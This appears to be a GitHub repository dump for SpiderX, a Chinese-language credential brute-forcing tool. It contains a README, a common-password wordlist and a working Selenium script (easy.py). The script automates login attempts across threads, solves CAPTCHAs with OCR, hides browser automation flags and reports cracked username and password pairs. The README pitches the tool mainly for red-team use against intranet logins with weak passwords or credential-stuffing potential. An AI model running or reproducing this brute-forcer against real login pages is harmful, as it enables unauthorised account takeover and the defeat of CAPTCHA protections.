├── username.txt ├── 测试靶场服务.zip ├── requirements.txt ├── .github └── workflows │ └── python-app.yml ├── README.md ├── password.txt ├── easy.py ├── LICENSE └── Gui.py /username.txt: -------------------------------------------------------------------------------- 1 | admin -------------------------------------------------------------------------------- /测试靶场服务.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LiChaser/SpiderX/HEAD/测试靶场服务.zip -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | customtkinter==5.2.2 2 | ddddocr==1.5.5 3 | Pillow==11.1.0 4 | Requests==2.32.3 5 | selenium==4.28.1 6 | -------------------------------------------------------------------------------- /.github/workflows/python-app.yml: -------------------------------------------------------------------------------- 1 | # This workflow will install Python dependencies and run a Python script 2 | # For more information see: https://docs.github.com/en/actions/automating-builds-and-tests/building-and-testing-python 3 | 4 | name: Python application 5 | 6 | on: 7 | push: 8 | branches: [ "main" ] 9 | pull_request: 10 | branches: [ "main" ] 11 | 12 | permissions: 13 | contents: read 14 | 15 | jobs: 16 | build: 17 | runs-on: ubuntu-latest 18 | 19 | steps: 20 | - uses: actions/checkout@v4 21 | - name: Set up Python 3.10 22 | uses: actions/setup-python@v3 23 | with: 24 | python-version: "3.10" 25 | - name: Cache pip dependencies 26 | uses: actions/cache@v3 27 | with: 28 | path: ~/.cache/pip 29 | key: ${{ runner.os }}-pip-${{ hashFiles('requirements.txt') }} 30 | restore-keys: | 31 | ${{ runner.os }}-pip- 32 | - name: Install dependencies 33 | run: | 34 | python -m pip install --upgrade pip 35 | if [ -f requirements.txt ]; then pip install -r requirements.txt; fi 36 | - name: Run Python script 37 | run: | 38 | python run.py 39 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SpiderX - JS前端加密自动化绕过工具 2 | 3 | ![Static Badge](https://img.shields.io/badge/SpiderX-v1.0-blue) 4 | ![Static Badge](https://img.shields.io/badge/python-3.12.3-yellow) 5 | ![Stars](https://img.shields.io/badge/dynamic/json?color=blue&label=Stars&query=stargazers_count&url=https%3A%2F%2Fapi.github.com%2Frepos%2FLiChaser%2FSpiderX) 6 | 7 | ## 修改日志: 8 | 9 | ### 2024年3月20日 10 | 11 | 这里再重申下使用方法: 12 | 13 | 1.先将headless调为false,线程数调为1,单个调试观测是否正常填入验证 14 | 15 | 2.确保完成调整headless为True和线程数为10 16 | 17 | 3.输入对应参数即可运行。 18 | 19 | ### 2025年3月6日 20 | 21 | 不是不想更新,而是最近没有时间,详情请看首页,抱歉抱歉😭😭 22 | 23 | 2025年2月12日 温馨提示: 24 | 25 | 这个工具的亮点在于通过模拟浏览器点击实现前端加密爆破。它源于我在实际场景中遇到的问题,经过多次测试,虽然仍有一些难以预料的异常情况,但整体效果还是不错的。如果你在使用过程中遇到问题,不妨根据我的思路,结合具体场景尝试自己编写脚本。其实花不了太多时间,而且相比无法解密的JS,这种方法至少为你提供了一种新的攻击途径。建议在存在弱密码或撞库可能的内网环境中使用,成功率会更高。 26 | 27 | **写这么多主要是希望大家不要喷我啊!这个工具的图形化界面其实是为了我的毕业设计,顺便开源出来积累点项目经验。如果觉得不好用,请多多包涵。网安圈子里天天都是各种骂战,看着都让人心慌,我心理承受能力比较差,希望大家手下留情。祝大家新年技术突飞猛进,升职加薪,财源滚滚!** 28 | 29 | 30 | 31 | 2025-2-10 很多师傅遇到报错,这是正常的,因为本身模拟点击的成功率与网络影响息息相关,不要将这个工具当作常规武器,我初步的定位是内网段一些常见的弱密码容易爆破但因为加密影响得分,想要应用到更多的场景,就是要学会调试,例如闪退那就在检测函数或者填入函数进行sleep睡眠一步步来看,**建议使用前先看下面的介绍文章** 32 | 33 | 2025-2-6 得到一些师傅的建议,发现drissionpage有更好的自动化性能,目前备考时间比较少,等结束打算重构下项目,感兴趣的师傅start我,随时推送动态 34 | 35 | 2025-1-29 (有师傅觉得gui界面用的不方便,我现在在整理纯脚本的文件并且相关内容我已经用AI注释了方便理解,整理好会上传,师傅们等等)--已上传 36 | 37 | 2025-1-28 **我将gui和精简版的源码还有测试靶场已经打包放入release中** 38 | 39 | 2025-1-26 初始版上线 40 | 41 | 相关自写介绍文章 42 | 43 | 基础篇 44 | https://mp.weixin.qq.com/s/p4COfICXluUxctotQ7cw2A 45 | 46 | 使用篇 47 | https://mp.weixin.qq.com/s/FUpdomCBjHinAdAcLFieJg 48 | 49 | ## 🎯 核心用途 50 | 51 | ### 🔴 红队渗透增强 52 | - **痛点解决**:针对前端传参加密率年增35%的现状(来源:OWASP 2023) 53 | - **效率提升**:自动化绕过JS加密,爆破速度达普通爬虫传统方案N倍(自己评估,怕被喷) 54 | - **技术门槛**:无需JS逆向经验,自动解析加密逻辑 55 | 56 | ### 🔵 蓝队自查利器 57 | - **风险发现**:检测弱密码漏洞效率提升6.2倍(AI讲的,but对于JS加密的场景适用性很高) 58 | - **防御验证**:模拟真实攻击路径,验证WAF防护有效性 59 | 60 | ## 🚀 部分核心技术架构 61 | 62 | ### 🌐 智能并发引擎 63 | 64 | 采用concurrent.futures线程池,实现10线程并发处理。每个线程独立处理密码子集,通过动态分块算法确保负载偏差<7% 65 | 66 | ### 🛡️ 验证码三级识别策略 67 | 68 | 1.URL直连下载 69 | ▸ 成功率:82% 70 | ▸ 适用场景:静态验证码URL 71 | 72 | 2.Canvas渲染截取 73 | ▸ 补足率:13% 74 | ▸ 适用场景:base64图片解析 75 | 76 | 3.javascript屏幕区域截图(最后5%) 77 | 78 | ## ⚠️部署问题 79 | **python版本3.13后不行,因为ddddocr包会无法下载1.5.5版本,只要依赖包能正常下载都能运行。** 80 | 81 | **使用前优先确认url是否能访问,如果没出现密码爆破的痕迹说明url无法访问或者异常。** 82 | 83 | **准确性和速度是需要根据电脑的性能来决定,我放在虚拟机里跑线程就开的很低才能正常爆破,属于正常现象,因为爬虫本质需要模拟访问点击需要加载基础网页缓存。** 84 | 85 | **调试可以通过headless参数来设置是否打开,全局搜索去找进行注释掉,看下自动化浏览器有无加载出来** 86 | 87 | ## 本地测试获取成功截图 88 | 89 | ![image](https://github.com/user-attachments/assets/186aba78-fa14-4bcc-8743-ef52909436ab) 90 | 91 | 92 | 🎥 点击查看演示视频 93 | 94 | [https://github.com/user-attachments/assets/afd645a3-0443-4c56-a4bc-c9f1546d9bf6](https://github.com/user-attachments/assets/afd645a3-0443-4c56-a4bc-c9f1546d9bf6 95 | ) 96 | 97 | 🧑‍💻作者留言: 98 | 爬虫模拟最大的问题就是反爬机制和各种报错,我尝试了很久也没办法完全处理各种的异常,因为有的异常selenium包里就没法绕过,所以就选择了最常见的几种格式来。 99 | 同时为了有意向**二开的师傅**我也在GitHub上传了源码可以进行使用,大家可以根据check_login函数来自己自定义反应成功机制,根据login函数来调整登陆的点击操作,如果有好的想法欢迎与我交流😄 100 | 101 | ## Star History 102 | 103 | [![Star History Chart](https://api.star-history.com/svg?repos=LiChaser/SpiderX&type=Date)](https://www.star-history.com/#LiChaser/SpiderX&Date) 104 | 105 | ## 公众号 106 | 107 | 自己有空写的一些网安内容,不搬运纯原创,如果你觉得无聊可以循着我的文章分享来实践一下。 108 | ![image](https://github.com/user-attachments/assets/14647f50-98f4-4f93-bc10-cd807f3ff78a) 109 | 110 | -------------------------------------------------------------------------------- /password.txt: -------------------------------------------------------------------------------- 1 | 1yzqy71107Z! 2 | admin888 3 | 123456 4 | password 5 | 123456789 6 | 12345678 7 | 12345 8 | qwerty 9 | 123123 10 | 111111 11 | abc123 12 | 1234567 13 | dragon 14 | 1q2w3e4r 15 | sunshine 16 | 654321 17 | master 18 | 1234 19 | football 20 | 1234567890 21 | 000000 22 | computer 23 | 666666 24 | superman 25 | michael 26 | internet 27 | iloveyou 28 | daniel 29 | 1qaz2wsx 30 | monkey 31 | shadow 32 | jessica 33 | letmein 34 | baseball 35 | whatever 36 | princess 37 | abcd1234 38 | 123321 39 | starwars 40 | 121212 41 | thomas 42 | zxcvbnm 43 | trustno1 44 | killer 45 | welcome 46 | jordan 47 | aaaaaa 48 | 123qwe 49 | freedom 50 | password1 51 | charlie 52 | batman 53 | jennifer 54 | 7777777 55 | michelle 56 | diamond 57 | oliver 58 | mercedes 59 | benjamin 60 | 11111111 61 | snoopy 62 | samantha 63 | victoria 64 | matrix 65 | george 66 | alexander 67 | secret 68 | cookie 69 | asdfgh 70 | 987654321 71 | 123abc 72 | orange 73 | fuckyou 74 | asdf1234 75 | pepper 76 | hunter 77 | silver 78 | joshua 79 | banana 80 | 1q2w3e 81 | chelsea 82 | 1234qwer 83 | summer 84 | qwertyuiop 85 | phoenix 86 | andrew 87 | q1w2e3r4 88 | elephant 89 | rainbow 90 | mustang 91 | merlin 92 | london 93 | garfield 94 | robert 95 | chocolate 96 | 112233 97 | samsung 98 | qazwsx 99 | matthew 100 | buster 101 | jonathan 102 | ginger 103 | flower 104 | 555555 105 | test 106 | caroline 107 | amanda 108 | maverick 109 | midnight 110 | martin 111 | junior 112 | 88888888 113 | anthony 114 | jasmine 115 | creative 116 | patrick 117 | mickey 118 | 123 119 | qwerty123 120 | cocacola 121 | chicken 122 | passw0rd 123 | forever 124 | william 125 | nicole 126 | hello 127 | yellow 128 | nirvana 129 | justin 130 | friends 131 | cheese 132 | tigger 133 | mother 134 | liverpool 135 | blink182 136 | asdfghjkl 137 | andrea 138 | spider 139 | scooter 140 | richard 141 | soccer 142 | rachel 143 | purple 144 | morgan 145 | melissa 146 | jackson 147 | arsenal 148 | 222222 149 | qwe123 150 | gabriel 151 | ferrari 152 | jasper 153 | danielle 154 | bandit 155 | angela 156 | scorpion 157 | prince 158 | maggie 159 | austin 160 | veronica 161 | nicholas 162 | monster 163 | dexter 164 | carlos 165 | thunder 166 | success 167 | hannah 168 | ashley 169 | 131313 170 | stella 171 | brandon 172 | pokemon 173 | joseph 174 | asdfasdf 175 | 999999 176 | metallica 177 | Licharse_is_here 178 | december 179 | chester 180 | taylor 181 | sophie 182 | samuel 183 | rabbit 184 | crystal 185 | barney 186 | xxxxxx 187 | steven 188 | ranger 189 | patricia 190 | christian 191 | asshole 192 | spiderman 193 | sandra 194 | hockey 195 | angels 196 | security 197 | parker 198 | heather 199 | 888888 200 | victor 201 | harley 202 | 333333 203 | system 204 | slipknot 205 | november 206 | jordan23 207 | canada 208 | tennis 209 | qwertyui 210 | casper 211 | gemini 212 | asd123 213 | winter 214 | hammer 215 | cooper 216 | america 217 | albert 218 | 777777 219 | winner 220 | charles 221 | butterfly 222 | swordfish 223 | popcorn 224 | penguin 225 | dolphin 226 | carolina 227 | access 228 | 987654 229 | hardcore 230 | corvette 231 | apples 232 | 12341234 233 | sabrina 234 | remember 235 | qwer1234 236 | edward 237 | dennis 238 | cherry 239 | sparky 240 | natasha 241 | arthur 242 | vanessa 243 | marina 244 | leonardo 245 | johnny 246 | dallas 247 | antonio 248 | winston 249 | snickers 250 | olivia 251 | nothing 252 | iceman 253 | destiny 254 | coffee 255 | apollo 256 | 696969 257 | windows 258 | williams 259 | school 260 | madison 261 | dakota 262 | angelina 263 | anderson 264 | 159753 265 | 1111 266 | yamaha 267 | trinity 268 | rebecca 269 | nathan 270 | guitar 271 | compaq 272 | 123123123 273 | toyota 274 | shannon 275 | playboy 276 | peanut 277 | pakistan 278 | diablo 279 | abcdef 280 | maxwell 281 | golden 282 | asdasd 283 | 123654 284 | murphy 285 | monica 286 | marlboro 287 | kimberly 288 | gateway 289 | bailey 290 | 00000000 291 | snowball 292 | scooby 293 | nikita 294 | falcon 295 | august 296 | test123 297 | sebastian 298 | panther 299 | love 300 | johnson 301 | godzilla 302 | genesis 303 | brandy 304 | adidas 305 | zxcvbn 306 | wizard 307 | porsche 308 | online 309 | hello123 310 | fuckoff 311 | eagles 312 | champion 313 | bubbles 314 | boston 315 | smokey 316 | precious 317 | mercury 318 | lauren 319 | einstein 320 | cricket 321 | cameron 322 | angel 323 | admin 324 | napoleon 325 | mountain 326 | lovely 327 | friend 328 | flowers 329 | dolphins 330 | david 331 | chicago 332 | sierra 333 | knight 334 | yankees 335 | wilson 336 | warrior 337 | -------------------------------------------------------------------------------- /easy.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """ 3 | @Toolsname: SpiderX 4 | @Author : LiChaser 5 | @Time : 2025-01-25 6 | @Version : 2.0 7 | @Description: 8 | - 这是一个基于 Selenium 的自动化脚本。 9 | - 功能包括:登录、验证码识别、数据抓取等。 10 | - 使用了 ddddocr 进行验证码识别。 11 | """ 12 | import tkinter as tk 13 | from tkinter import ttk 14 | import threading 15 | import os 16 | import psutil 17 | import concurrent.futures 18 | import logging 19 | import time 20 | import sys 21 | from selenium import webdriver 22 | from selenium.common import NoSuchElementException, TimeoutException, WebDriverException 23 | from selenium.webdriver.common.by import By 24 | from selenium.webdriver.support.wait import WebDriverWait 25 | from selenium.webdriver.support import expected_conditions as EC 26 | import ddddocr 27 | import requests 28 | import base64 29 | from io import BytesIO 30 | from PIL import Image 31 | import random 32 | import signal 33 | 34 | DEFAULT_CONFIG = { 35 | "url": "http://127.0.0.1:5000/", 36 | "name_xpath": '//*[@id="username"]', 37 | "pass_xpath": '//*[@id="password"]', 38 | "btn_xpath": '/html/body/form/div[4]/button', 39 | "success_xpath": '//*[contains(text(),"欢迎")]', # 新增成功检测元素 40 | "user_file": "username.txt", 41 | "pass_file": "password.txt", 42 | "threads": 10, # 根据CPU核心数优化 43 | "headless": True, 44 | "timeout": 5, # 延长超时时间 45 | "max_retries": 3, # 最大重试次数 46 | "min_delay": 0.5, # 最小延迟(秒) 47 | "max_delay": 1.5, # 最大延迟(秒) 48 | "captcha_xpath": '/html/body/form/div[3]/img', # 验证码图片元素 49 | "captcha_input_xpath": '//*[@id="captcha"]', # 验证码输入框 50 | "captcha_refresh_xpath": '/html/body/form/div[3]/img', # 验证码刷新按钮(如果有) 51 | "has_captcha": True, # 是否启用验证码识别 52 | "captcha_retry_limit": 3, # 验证码识别重试次数 53 | "captcha_timeout": 1, # 验证码加载超时时间 54 | } 55 | 56 | # 在文件开头添加计数器类 57 | class ThreadSafeCounter: 58 | def __init__(self): 59 | self._value = 0 60 | self._lock = threading.Lock() 61 | 62 | def increment(self): 63 | with self._lock: 64 | self._value += 1 65 | return self._value 66 | 67 | def get_value(self): 68 | with self._lock: 69 | return self._value 70 | 71 | def reset(self): 72 | with self._lock: 73 | self._value = 0 74 | 75 | # 修改全局变量声明 76 | numbers = ThreadSafeCounter() 77 | PWD = '' 78 | USER = '' 79 | usernames = [] 80 | passwords = [] 81 | 82 | 83 | class CaptchaHandler: 84 | def __init__(self): 85 | self.ocr = ddddocr.DdddOcr(show_ad=False) 86 | self.retry_count = 0 87 | self.last_captcha = None 88 | self._lock = threading.Lock() 89 | 90 | def recognize_captcha(self, image_data): 91 | """识别验证码""" 92 | try: 93 | # 确保图片数据是字节格式 94 | if isinstance(image_data, str): 95 | if image_data.startswith('data:image'): 96 | image_data = base64.b64decode(image_data.split(',')[1]) 97 | else: 98 | # 假设是base64字符串 99 | try: 100 | image_data = base64.b64decode(image_data) 101 | except: 102 | raise Exception("Invalid image data format") 103 | 104 | # 使用PIL处理图片 105 | image = Image.open(BytesIO(image_data)) 106 | 107 | # 转换为RGB模式(如果需要) 108 | if image.mode != 'RGB': 109 | image = image.convert('RGB') 110 | 111 | # 调整图片大小(如果需要) 112 | # image = image.resize((100, 30), Image.LANCZOS) 113 | 114 | # 转回字节流 115 | buffered = BytesIO() 116 | image.save(buffered, format="PNG") 117 | image_bytes = buffered.getvalue() 118 | 119 | # 识别验证码 120 | result = self.ocr.classification(image_bytes) 121 | 122 | # 清理结果 123 | result = result.strip() 124 | if not result: 125 | raise Exception("OCR result is empty") 126 | 127 | self.last_captcha = result 128 | return result 129 | except Exception as e: 130 | logging.error(f"验证码识别失败: {str(e)}") 131 | return None 132 | 133 | def verify_captcha(self, driver, captcha_code): 134 | """验证验证码是否正确""" 135 | try: 136 | # 这里添加验证码验证逻辑 137 | # 可以根据实际情况判断验证码是否正确 138 | return True 139 | except Exception as e: 140 | logging.error(f"验证码验证失败: {str(e)}") 141 | return False 142 | 143 | def chunk_list(data, chunk_size): 144 | """将列表分块""" 145 | for i in range(0, len(data), chunk_size): 146 | yield data[i:i + chunk_size] # 修正切片语法 147 | 148 | def refresh_captcha(driver): 149 | """刷新验证码""" 150 | try: 151 | # 尝试点击刷新按钮 152 | if DEFAULT_CONFIG["captcha_refresh_xpath"]: 153 | refresh_btn = WebDriverWait(driver, 3).until( 154 | EC.element_to_be_clickable((By.XPATH, DEFAULT_CONFIG["captcha_refresh_xpath"])) 155 | ) 156 | refresh_btn.click() 157 | return True 158 | except Exception as e: 159 | logging.error(f"验证码刷新失败: {str(e)}") 160 | 161 | # 备用方案:重新加载页面 162 | try: 163 | driver.refresh() 164 | WebDriverWait(driver, 5).until( 165 | EC.presence_of_element_located((By.XPATH, DEFAULT_CONFIG["name_xpath"])) 166 | ) 167 | return True 168 | except Exception as e: 169 | logging.error(f"页面刷新失败: {str(e)}") 170 | return False 171 | 172 | def handle_captcha(driver, captcha_handler): 173 | """处理验证码识别流程""" 174 | retry_count = 0 175 | while retry_count < DEFAULT_CONFIG["captcha_retry_limit"]: 176 | try: 177 | # 等待验证码图片加载 178 | captcha_img = WebDriverWait(driver, DEFAULT_CONFIG["captcha_timeout"]).until( 179 | EC.presence_of_element_located((By.XPATH, DEFAULT_CONFIG["captcha_xpath"])) 180 | ) 181 | 182 | # 等待图片完全加载 183 | # time.sleep(1) 184 | 185 | # 确保图片已完全加载 186 | try: 187 | is_loaded = driver.execute_script(""" 188 | var img = arguments[0]; 189 | return img.complete && img.naturalWidth !== 0; 190 | """, captcha_img) 191 | 192 | if not is_loaded: 193 | time.sleep(0.5) 194 | except: 195 | pass 196 | 197 | # 获取验证码图片 198 | try: 199 | image_data = captcha_img.screenshot_as_png 200 | except: 201 | img_src = captcha_img.get_attribute('src') 202 | if not img_src: 203 | logging.error("验证码图片源为空") 204 | retry_count += 1 205 | refresh_captcha(driver) # 只在获取失败时刷新 206 | # time.sleep(1) 207 | continue 208 | 209 | if img_src.startswith('data:image'): 210 | try: 211 | base64_data = img_src.split(',')[1] 212 | image_data = base64.b64decode(base64_data) 213 | except Exception as e: 214 | logging.error(f"Base64解码失败: {str(e)}") 215 | retry_count += 1 216 | refresh_captcha(driver) # 只在解码失败时刷新 217 | # time.sleep(1) 218 | continue 219 | else: 220 | try: 221 | response = requests.get(img_src, timeout=3) 222 | image_data = response.content 223 | except: 224 | logging.error("获取验证码图片失败") 225 | retry_count += 1 226 | refresh_captcha(driver) # 只在获取失败时刷新 227 | time.sleep(0.2) 228 | continue 229 | 230 | # 识别验证码 231 | captcha_text = captcha_handler.recognize_captcha(image_data) 232 | if not captcha_text: 233 | logging.warning("验证码识别结果为空") 234 | retry_count += 1 235 | refresh_captcha(driver) # 只在识别失败时刷新 236 | # time.sleep(1) 237 | continue 238 | 239 | # logging.info(f"识别到的验证码: {captcha_text}") 240 | 241 | # 填写验证码 242 | try: 243 | captcha_input = WebDriverWait(driver, 1).until( 244 | EC.presence_of_element_located((By.XPATH, DEFAULT_CONFIG["captcha_input_xpath"])) 245 | ) 246 | 247 | captcha_input.clear() 248 | captcha_input.send_keys(captcha_text) 249 | time.sleep(2) 250 | return True # 成功输入验证码后直接返回 251 | 252 | except Exception as e: 253 | logging.error(f"验证码输入失败: {str(e)}") 254 | retry_count += 1 255 | refresh_captcha(driver) # 只在输入失败时刷新 256 | time.sleep(0.2) 257 | continue 258 | 259 | except Exception as e: 260 | logging.error(f"验证码处理失败: {str(e)}") 261 | retry_count += 1 262 | refresh_captcha(driver) # 只在处理失败时刷新 263 | time.sleep(0.2) 264 | continue 265 | 266 | return False # 达到最大重试次数后返回失败 267 | 268 | def try_login(username, password_chunk): 269 | driver = None 270 | try: 271 | # 创建验证码处理器实例 272 | captcha_handler = CaptchaHandler() 273 | 274 | # 优化浏览器配置 275 | options = webdriver.ChromeOptions() 276 | 277 | # 基础配置 278 | options.add_argument("--no-sandbox") 279 | options.add_argument("--disable-dev-shm-usage") 280 | options.add_argument("--disable-gpu") 281 | options.add_argument("--disable-extensions") 282 | options.add_argument("--disable-infobars") 283 | 284 | # 性能优化 285 | options.add_argument("--disable-logging") 286 | options.add_argument("--disable-default-apps") 287 | options.add_argument("--disable-popup-blocking") 288 | options.add_argument("--disable-notifications") 289 | 290 | # 内存优化 291 | options.add_argument("--disable-application-cache") 292 | options.add_argument("--disable-web-security") 293 | options.add_argument("--disk-cache-size=1") 294 | options.add_argument("--media-cache-size=1") 295 | 296 | # 添加实验性选项 297 | options.add_experimental_option("excludeSwitches", ["enable-automation", "enable-logging"]) 298 | options.add_experimental_option("useAutomationExtension", False) 299 | 300 | # 根据配置决定是否使用无头模式 301 | if DEFAULT_CONFIG["headless"]: 302 | options.add_argument("--headless") 303 | 304 | # 创建驱动 305 | driver = webdriver.Chrome(options=options) 306 | 307 | # 设置页面加载超时 308 | driver.set_page_load_timeout(DEFAULT_CONFIG["timeout"]) 309 | driver.set_script_timeout(DEFAULT_CONFIG["timeout"]) 310 | 311 | for password in password_chunk: 312 | retry_count = 0 313 | max_retries = DEFAULT_CONFIG["captcha_retry_limit"] 314 | 315 | while retry_count < max_retries: 316 | try: 317 | # 访问目标URL 318 | driver.get(DEFAULT_CONFIG["url"]) 319 | 320 | # 获取元素 321 | username_field = WebDriverWait(driver, 5).until( 322 | EC.presence_of_element_located((By.XPATH, DEFAULT_CONFIG["name_xpath"])) 323 | ) 324 | password_field = WebDriverWait(driver, 5).until( 325 | EC.presence_of_element_located((By.XPATH, DEFAULT_CONFIG["pass_xpath"])) 326 | ) 327 | submit_btn = WebDriverWait(driver, 5).until( 328 | EC.element_to_be_clickable((By.XPATH, DEFAULT_CONFIG["btn_xpath"])) 329 | ) 330 | 331 | # 填充表单 332 | username_field.clear() 333 | username_field.send_keys(username) 334 | password_field.clear() 335 | password_field.send_keys(password) 336 | 337 | # 处理验证码 338 | if DEFAULT_CONFIG["has_captcha"]: 339 | captcha_success = handle_captcha(driver, captcha_handler) 340 | if not captcha_success: 341 | retry_count += 1 342 | logging.info(f"验证码处理失败,重试第 {retry_count} 次") 343 | continue 344 | 345 | # 点击提交 346 | submit_btn.click() 347 | time.sleep(0.3) 348 | 349 | # 检查登录结果 350 | if check_login_success(driver): 351 | # 使用更醒目的格式显示成功信息 352 | print("\n" + "\033[92m" + "登陆成功: " + username + ":" + password + "\033[0m") # 使用绿色显示成功信息 353 | return (username, password) 354 | 355 | # 检查验证码错误 356 | if DEFAULT_CONFIG["has_captcha"] and check_captcha_error(driver): 357 | retry_count += 1 358 | logging.info(f"验证码错误,重试第 {retry_count} 次") 359 | if retry_count < max_retries: 360 | refresh_captcha(driver) 361 | # time.sleep(0.5) 362 | continue 363 | else: 364 | # 如果不是验证码错误,说明是密码错误 365 | logging.info(f"密码错误: {username}:{password}") 366 | break # 尝试下一个密码 367 | 368 | except Exception as e: 369 | logging.error(f"登录尝试异常: {str(e)}") 370 | retry_count += 1 371 | if retry_count < max_retries: 372 | driver.refresh() 373 | # time.sleep(0.5) 374 | continue 375 | else: 376 | break 377 | 378 | finally: 379 | time.sleep(random.uniform(DEFAULT_CONFIG["min_delay"], DEFAULT_CONFIG["max_delay"])) 380 | 381 | except Exception as e: 382 | logging.error(f"浏览器操作失败: {str(e)}") 383 | finally: 384 | if driver: 385 | try: 386 | driver.quit() 387 | except: 388 | pass 389 | return None 390 | 391 | def check_captcha_error(driver): 392 | """检查是否为验证码错误""" 393 | try: 394 | error_texts = ["验证码错误", "验证码不正确", "验证码输入有误", "验证码失效"] 395 | page_source = driver.page_source.lower() 396 | return any(text.lower() in page_source for text in error_texts) 397 | except Exception as e: 398 | logging.warning(f"验证码错误检查出现异常: {str(e)}") 399 | return False 400 | 401 | def check_login_success(driver): 402 | """检查是否登录成功""" 403 | try: 404 | if '错误' in driver.page_source: 405 | return False 406 | # 检查URL变化,假设登录成功后URL会包含某些关键字 407 | if 'dashboard' in driver.current_url or 'profile' in driver.current_url: 408 | print("登录成功,URL检测通过。") 409 | return True 410 | 411 | # 检查页面上的特定元素,例如欢迎消息 412 | success_message_elements = [ 413 | "//div[contains(text(), '欢迎')]", 414 | "//div[contains(text(), '成功')]", 415 | "//div[contains(@class, 'logged-in')]" 416 | ] 417 | for xpath in success_message_elements: 418 | try: 419 | element = driver.find_element(By.XPATH, xpath) 420 | if element.is_displayed(): 421 | logging.warning(f"登录成功,页面元素检测通过:{xpath}") 422 | return True 423 | except NoSuchElementException: 424 | continue 425 | 426 | # 检查是否还存在登录表单 427 | try: 428 | login_form = driver.find_element(By.XPATH, DEFAULT_CONFIG["name_xpath"]) 429 | if not login_form.is_displayed(): 430 | print("登录表单不可见,可能登录成功。") 431 | return True 432 | except NoSuchElementException: 433 | print("登录表单不可见,可能登录成功。") 434 | return True 435 | return False 436 | except Exception as e: 437 | logging.error(f"检查登录成功时发生错误:{str(e)}") 438 | return False 439 | 440 | def main(): 441 | logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') 442 | 443 | try: 444 | with open(DEFAULT_CONFIG["user_file"], "r", encoding='utf-8') as f: 445 | usernames = f.read().splitlines() 446 | with open(DEFAULT_CONFIG["pass_file"], "r", encoding='utf-8') as f: 447 | passwords = f.read().splitlines() 448 | except Exception as e: 449 | logging.error(f"加载字典文件失败: {str(e)}") 450 | return 451 | 452 | # 创建线程池 453 | stat_time = time.time() 454 | with concurrent.futures.ThreadPoolExecutor(max_workers=DEFAULT_CONFIG["threads"]) as executor: 455 | futures = [] 456 | for username in usernames: 457 | password_chunks = list(chunk_list(passwords, len(passwords) // DEFAULT_CONFIG["threads"])) 458 | futures.extend([executor.submit(try_login, username, chunk) for chunk in password_chunks]) 459 | 460 | try: 461 | for future in concurrent.futures.as_completed(futures): 462 | result = future.result() 463 | if result: 464 | # 使用更醒目的格式显示成功信息 465 | success_message = f""" 466 | {'='*50} 467 | 破解成功!!! 468 | 用户名: {result[0]} 469 | 密码: {result[1]} 470 | 总用时: {time.time() - stat_time:.2f}秒 471 | {'='*50} 472 | """ 473 | logging.info(success_message) 474 | print("\n" + "\033[92m" + success_message + "\033[0m") # 使用绿色显示成功信息 475 | 476 | # 取消所有未完成的任务 477 | for f in futures: 478 | f.cancel() 479 | 480 | # 关闭线程池 481 | executor.shutdown(wait=False) 482 | 483 | # 强制结束程序 484 | os._exit(0) # 使用 os._exit() 立即终止程序 485 | 486 | except KeyboardInterrupt: 487 | print("\n程序被用户中断") 488 | os._exit(1) 489 | except Exception as e: 490 | print(f"发生错误: {str(e)}") 491 | os._exit(1) 492 | finally: 493 | # 确保线程池被关闭 494 | executor.shutdown(wait=False) 495 | 496 | if __name__ == "__main__": 497 | main() # 调用主函数 498 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU AFFERO GENERAL PUBLIC LICENSE 2 | Version 3, 19 November 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU Affero General Public License is a free, copyleft license for 11 | software and other kinds of works, specifically designed to ensure 12 | cooperation with the community in the case of network server software. 13 | 14 | The licenses for most software and other practical works are designed 15 | to take away your freedom to share and change the works. By contrast, 16 | our General Public Licenses are intended to guarantee your freedom to 17 | share and change all versions of a program--to make sure it remains free 18 | software for all its users. 19 | 20 | When we speak of free software, we are referring to freedom, not 21 | price. Our General Public Licenses are designed to make sure that you 22 | have the freedom to distribute copies of free software (and charge for 23 | them if you wish), that you receive source code or can get it if you 24 | want it, that you can change the software or use pieces of it in new 25 | free programs, and that you know you can do these things. 26 | 27 | Developers that use our General Public Licenses protect your rights 28 | with two steps: (1) assert copyright on the software, and (2) offer 29 | you this License which gives you legal permission to copy, distribute 30 | and/or modify the software. 31 | 32 | A secondary benefit of defending all users' freedom is that 33 | improvements made in alternate versions of the program, if they 34 | receive widespread use, become available for other developers to 35 | incorporate. Many developers of free software are heartened and 36 | encouraged by the resulting cooperation. However, in the case of 37 | software used on network servers, this result may fail to come about. 38 | The GNU General Public License permits making a modified version and 39 | letting the public access it on a server without ever releasing its 40 | source code to the public. 41 | 42 | The GNU Affero General Public License is designed specifically to 43 | ensure that, in such cases, the modified source code becomes available 44 | to the community. It requires the operator of a network server to 45 | provide the source code of the modified version running there to the 46 | users of that server. Therefore, public use of a modified version, on 47 | a publicly accessible server, gives the public access to the source 48 | code of the modified version. 49 | 50 | An older license, called the Affero General Public License and 51 | published by Affero, was designed to accomplish similar goals. This is 52 | a different license, not a version of the Affero GPL, but Affero has 53 | released a new version of the Affero GPL which permits relicensing under 54 | this license. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | TERMS AND CONDITIONS 60 | 61 | 0. Definitions. 62 | 63 | "This License" refers to version 3 of the GNU Affero General Public License. 64 | 65 | "Copyright" also means copyright-like laws that apply to other kinds of 66 | works, such as semiconductor masks. 67 | 68 | "The Program" refers to any copyrightable work licensed under this 69 | License. Each licensee is addressed as "you". "Licensees" and 70 | "recipients" may be individuals or organizations. 71 | 72 | To "modify" a work means to copy from or adapt all or part of the work 73 | in a fashion requiring copyright permission, other than the making of an 74 | exact copy. The resulting work is called a "modified version" of the 75 | earlier work or a work "based on" the earlier work. 76 | 77 | A "covered work" means either the unmodified Program or a work based 78 | on the Program. 79 | 80 | To "propagate" a work means to do anything with it that, without 81 | permission, would make you directly or secondarily liable for 82 | infringement under applicable copyright law, except executing it on a 83 | computer or modifying a private copy. Propagation includes copying, 84 | distribution (with or without modification), making available to the 85 | public, and in some countries other activities as well. 86 | 